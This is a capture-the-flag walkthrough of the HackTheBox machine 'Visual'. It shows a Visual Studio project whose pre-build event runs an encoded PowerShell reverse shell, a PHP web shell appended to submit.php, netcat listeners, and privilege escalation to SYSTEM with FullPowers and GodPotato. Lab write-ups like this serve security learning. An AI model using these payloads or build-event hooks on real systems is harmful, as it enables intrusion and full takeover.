index-logo

Visual - HTB

walkthrough by elswix

Machine: Visual
Difficulty: Medium
Platform: HackTheBox
Release: Released on 09/30/2023

About Visual


Visual is a medium-difficulty machine on HackTheBox. Initially, we will exploit a website that builds our custom Visual Studio projects by abusing build events to gain access as enox.


Shell as local service


As enox, we observed that the HTTP service is running under a different user. By exploiting our write privileges on the website folder, we were able to achieve command execution as local service using PHP.


Shell as administrator (system)


Upon searching for privilege escalation vectors, we noticed that we could recover all default local service privileges. One of them is SeImpersonatePrivilege, which we subsequently abused to gain access as the local administrator.


Recon


As always, let's start with a port scan to discover open ports on the victim machine.


elswix@ubuntu$ nmap -p- --open --min-rate 10000 -v -n 10.10.11.234

Nmap scan report for 10.10.11.234
Host is up (0.15s latency).
Not shown: 65534 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
80/tcp open  http

As we can see there is only one port open. This port belongs to an HTTP service.


HTTP Service - Port 80


Before accessing the website through my browser, I will utilize whatweb to identify technologies and interesting information about the website.


elswix@ubuntu$ whatweb -a 3 10.10.11.234
http://10.10.11.234 [200 OK] Apache[2.4.56], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17], IP[10.10.11.234], OpenSSL[1.1.1t], PHP[8.1.17], Script, Title[Visual - Revolutionizing Visual Studio Builds], X-Powered-By[PHP/8.1.17]

There isn't much information but we can highlight that it runs PHP behind the scenes.


When accessing the website through the web browser, you will encounter the following content:



Wappalyzer indentified the SO of the victim machine:



It is a windows system, surely windows 10.


Upon analysing the website and its content, I noticed that it allows you to upload visual studio projects to build them:



It stands out that they support projects in .NET version 6.0 and C# programs. It also mentions that we have to share our projects through GIT repositories.


In this section, we can enter the URL of the git repository:



Visual Studio - Build events


Build events refer to the tasks that can be executed before or after the build process of a project. These events allow developers to automate certain tasks and customize the build process according to their requirements. There are two main types of build events:


Pre-Build Events: These events occur before the actual compilation and build process. Developers can specify commands or scripts to be executed as part of the pre-build events. Common use cases include tasks like copying files, generating code, or setting up the environment before compilation.


Post-Build Events: These events take place after the build process is complete. Developers can define commands or scripts to run after the successful compilation and linking of the project. Typical post-build tasks include copying the output to a specific location, creating documentation, or triggering additional processes.


If it is true that the website builds our Visual Studio projects, we should be able to achieve command execution on the victim's machine. However, first, we have to create our own Visual Studio project.


Creating the malicious project


For this purpose, I am using a Windows VM to install Visual Studio and the .NET framework. I downloaded Visual Studio 2022, and since it comes with .NET version 8.0 by default, I had to install version 6.0 manually.


Once installed, we have to create a new project:



I selected the Console App template:



Enter the name of your choice and then click on Next:



Select version 6.0 of .NET:



Finally, the project was created successfully:



Now, we have to add Build Events. To achieve this, we have to click on Project -> Project Properties:



Now on Build -> Events I'll create a PreBuild event:



On the "Pre-build event," you have to enter the command you want to execute before building the project. In this case, I will enter any command; I will modify it later.



Finally, we have to build the project:



As we can see, the prebuild event ran successfully:



I downloaded the project folder on my Linux machine. Now, I will modify the prebuild event with a base64-encoded PowerShell reverse shell from revshells:


elswix@ubuntu$ cat maliciousProject.csproj
<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net6.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <Target Name="PreBuild" BeforeTargets="PreBuildEvent">
    <Exec Command="powershell -e JABjAGwAaQBlAG4AdAAgA...[snip]...AC4AQwBsAG8AcwBlACgAKQA=" />
  </Target>

</Project>

To share this project with the victim machine, we need to use Git repositories. I downloaded a pre-compiled binary of Gitea and created a new project on my local Gitea server:


elswix@ubuntu$ git init
...[snip]...
Initialized empty Git repository in /home/elswix/Desktop/elswix/HTB/Visual/content/maliciousProject/.git/
elswix@ubuntu$ git checkout -b main
Switched to a new branch 'main'
elswix@ubuntu$ git add .
elswix@ubuntu$ git commit -m "first commit"
[main (root-commit) 7484990] first commit
 35 files changed, 349 insertions(+)
 create mode 100644 .vs/maliciousProject/DesignTimeBuild/.dtbcache.v2
...[snip]...
 create mode 100644 obj/maliciousProject.csproj.nuget.g.targets
 create mode 100644 obj/project.assets.json
 create mode 100644 obj/project.nuget.cache
elswix@ubuntu$ git remote add origin http://localhost:3000/elswix/maliciousProject.git
elswix@ubuntu$ git push -u origin main
Username for 'http://localhost:3000': elswix
Password for 'http://elswix@localhost:3000': 
...[snip]...
elswix@ubuntu$

Before sharing the link to my new Git repo, I will set up my netcat listener on port 3001 as specified in the reverse shell.


elswix@ubuntu$ rlwrap nc -lvnp 3001
Listening on 0.0.0.0 3001

Now, I will enter the link to my Git repo in the input field:



After a while I received the reverse shell on my netcat listener:


elswix@kali$ rlwrap nc -lvnp 3001
Listening on 0.0.0.0 3001
Connection received on 10.10.11.234 49672
whoami
visual\enox
PS C:\Windows\Temp\b98fb944a4bf4c78eb9c86836caa86>

We have successfully gained access to the system as enox.


We can read user.txt:


PS C:\Users\enox\desktop> type user.txt
fba81**********************b123a
PS C:\Users\enox\desktop>

As the user enox, we lack any special privileges.


PS C:\Users\enox\desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeCreateGlobalPrivilege       Create global objects          Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\Users\enox\desktop>

While examining the directories in the system root, I noticed intriguing access permissions within the C:\xampp directory:


PS C:\Users\enox\desktop> cacls c:\xampp
c:\xampp Everyone:(OI)(CI)F 
         NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F 
         BUILTIN\Administrators:(OI)(CI)(ID)F 
         BUILTIN\Users:(OI)(CI)(ID)R 
         BUILTIN\Users:(CI)(ID)(special access:)

                               FILE_APPEND_DATA

         BUILTIN\Users:(CI)(ID)(special access:)

                               FILE_WRITE_DATA

         CREATOR OWNER:(OI)(CI)(IO)(ID)F 

PS C:\Users\enox\desktop>

FILE_APPEND_DATA: This permission allows a user or group to append data to a file. Users with this permission can add new information to the end of a file without altering the existing content.


FILE_WRITE_DATA: This permission grants the ability to modify or overwrite the existing data within a file. Users with this permission can make changes to the content of the file, including both appending new data and overwriting existing data.


In summary, we have file modification privileges within the C:\xampp directory.


Shell as local service


The website folder is located in C:\xampp\htdocs:


PS C:\xampp\htdocs> ls C:\xampp\htdocs

    Directory: C:\xampp\htdocs


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        6/10/2023  10:32 AM                assets                                                                
d-----        6/10/2023  10:32 AM                css                                                                   
d-----        6/10/2023  10:32 AM                js                                                                    
d-----        2/24/2024   2:53 AM                uploads                                                               
-a----        6/10/2023   6:20 PM           7534 index.php                                                             
-a----        2/24/2024   2:53 AM           1618 submit.php                                                            
-a----        6/10/2023   4:11 PM           4970 vs_status.php                                                         


PS C:\xampp\htdocs>

At this point, with file modification privileges throughout the entire C:\xampp directory, I thought it could be interesting to check who is running the HTTP service. Initially, I assumed it would be enox since we gained access to the system as that user, but I was not sure at all.


While executing tasklist /v, I observed that the httpd.exe process was not being run under the context of the user enox:


PS C:\xampp\htdocs> tasklist /v | findstr "http"
httpd.exe                     2260                            0     21,076 K Unknown         N/A                                                     0:00:00 N/A                                                                     
httpd.exe                     3480                            0     8,120 K Unknown         N/A                                                     0:00:00 N/A                                                                   
PS C:\xampp\htdocs>

You can also use the following commands to check it:


PS C:\xampp\htdocs> $owners = @{} 
PS C:\xampp\htdocs> gwmi win32_process |% {try {$owners[$_.handle] = $_.getowner().user} catch{} } 
PS C:\xampp\htdocs> (get-process | select processname,Id,@{l="Owner";e={$owners[$_.id.tostring()]}})

ProcessName           Id Owner
-----------           -- -----
cmd                  264 enox 
cmd                  964 enox 
conhost             1256 enox 
conhost             1964 enox 
conhost             2868 enox 
...[snip]...   
httpd               2260      
httpd               3480      
Idle                   0      
LogonUI             4692      
lsass                632      
MicrosoftEdgeUpdate  376      
msdtc               2696      
nssm                2716 enox 
powershell          3228 enox 
powershell          4208 enox 
powershell          5084 enox 
Registry              88      
services             624      
smss                 288      
...[snip]...    
wininit              500      
winlogon             540      
WmiPrvSE            3420      
PS C:\xampp\htdocs>

The processes that don't display any user in the Owners column are processes that aren't running as enox. This is due to Windows not allowing us to retrieve all process info without administrator privileges.


As evident, the httpd process is not running as enox. Therefore, with file modification privileges in the website folder, we could potentially achieve code execution as the process owner, given that it utilizes PHP.


I will modify the submit.php file:


PS C:\xampp\htdocs> dir


    Directory: C:\xampp\htdocs


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        6/10/2023  10:32 AM                assets                                                                
d-----        6/10/2023  10:32 AM                css                                                                   
d-----        6/10/2023  10:32 AM                js                                                                    
d-----        2/24/2024   3:08 AM                uploads                                                               
-a----        6/10/2023   6:20 PM           7534 index.php                                                             
-a----        2/24/2024   3:24 AM           1560 submit.php                                                            
-a----        6/10/2023   4:11 PM           4970 vs_status.php                                                         


PS C:\xampp\htdocs>

I kept the file identical to its original state; I simply appended the following lines at the beginning of the file (inside the PHP tag):


$cmd = system($_GET["cmd"]);
echo $cmd;

Now, when accessing it through my browser, it will display the following message:



It means that our code is being interpreted correctly, and we can achieve command execution:



We have achieved command execution as nt authority\local service, so let's attempt to obtain a reverse shell as that user. Firstly, I will setup my netcat listener on port 3001:


elswix@ubuntu$ rlwrap nc -lvnp 3001
Listening on 0.0.0.0 3001

Now, I will reuse the webshell I used earlier from revshells.



Finally, I have received the reverse shell.


elswix@ubuntu$ rlwrap nc -lvnp 3001
Listening on 0.0.0.0 3001
Connection received on 10.10.11.234 49683

PS C:\xampp\htdocs> whoami
nt authority\local service
PS C:\xampp\htdocs>

As local service, we lack interesting token privileges:


PS C:\xampp\htdocs> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeCreateGlobalPrivilege       Create global objects          Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\xampp\htdocs>

Give Me Back My Privileges! Please?


While exploring potential privilege escalation vectors as local service, I came across an interesting article discussing privileges associated with nt authority\local service. It demonstrates how to recover all privileges of the local service account, including the potential for privilege escalation.


I observed that creating scheduled tasks allows you to regain all privileges. However, to restore the SeImpersonatePrivilege, you need to include specific specifications during the task registration. It is necessary to specify certain principals to recover this privilege.


The author of the article has developed a potential tool to automate this process. I uploaded the compiled binary from the release page to the victim machine:


PS C:\temp> .\FullPowers.exe -h

FullPowers v0.1 (by @itm4n)

  This tool leverages the Task Scheduler to recover the default privilege set of a service account.
  For more information: https://itm4n.github.io/localservice-privileges/

Optional arguments:
  -v              Verbose mode, used for debugging essentially
  -c <CMD>        Custom command line to execute (default is 'C:\Windows\System32\cmd.exe')
  -x              Try to get the extended set of privileges (might fail with NETWORK SERVICE)
  -z              Non-interactive, create a new process and exit (default is 'interact with the new process')

PS C:\temp>

Upon examining the help panel, it is evident that it allows you to execute a command using the -c parameter. Let's attempt to run whoami /priv:


PS C:\temp> .\FullPowers.exe -c "whoami /priv"
[+] Started dummy thread with id 2208
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State  
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled
PS C:\temp>

Great! Subsequently, I sent a reverse shell to my attacker machine and gained access to the system with all these privileges.


PS C:\Windows\system32> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State  
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled
PS C:\Windows\system32>

Shell as administrator


As we possess the SeImpersonatePrivilege token, we can elevate our privilege using tools such as JuicyPotatoNG and others.


As outlined on HackTricks, any process with this privilege can impersonate (although not create) any token, given that it acquires a handle to the token. By inducing a Windows service (DCOM) to undergo NTLM authentication through an exploit, it becomes possible to obtain an elevated token, enabling the execution of a process with SYSTEM privileges.


To attain execution with system privileges, I will utilize GodPotato, specifically opting for the release version GodPotato-NET4.exe:


PS C:\temp> .\GodPotato-NET4.exe 
...[snip]...
Arguments:

    -cmd Required:True CommandLine (default cmd /c whoami)

Example:

GodPotato -cmd "cmd /c whoami" 
GodPotato -cmd "cmd /c whoami" 

PS C:\temp>

Let's execute the example command:


PS C:\temp> .\GodPotato-NET4.exe -cmd "cmd /c whoami" 
[*] CombaseModule: 0x140703919112192
[*] DispatchTable: 0x140703921418352
[*] UseProtseqFunction: 0x140703920794528
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] Trigger RPCSS
[*] CreateNamedPipe \\.\pipe\b942aac4-eadc-4a0c-bbec-27cec7d201bb\pipe\epmapper
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000e002-10d0-ffff-0b6d-1c22af0a9d8d
[*] DCOM obj OXID: 0xe30faeb47a4b53b4
[*] DCOM obj OID: 0xe8c549bcce717025
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 888 Token:0x644  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 1684
nt authority\system
PS C:\temp>

As you can see, we have achieved command execution as system. Once again, I sent a reverse shell to my attacker machine.


elswix@ubuntu$ rlwrap nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.11.234 49689
PS C:\temp> whoami
nt authority\system
PS C:\temp>

Finally, we can read root.txt:


PS C:\users\administrator\desktop> type root.txt
05b4a**********************485e7
PS C:\users\administrator\desktop>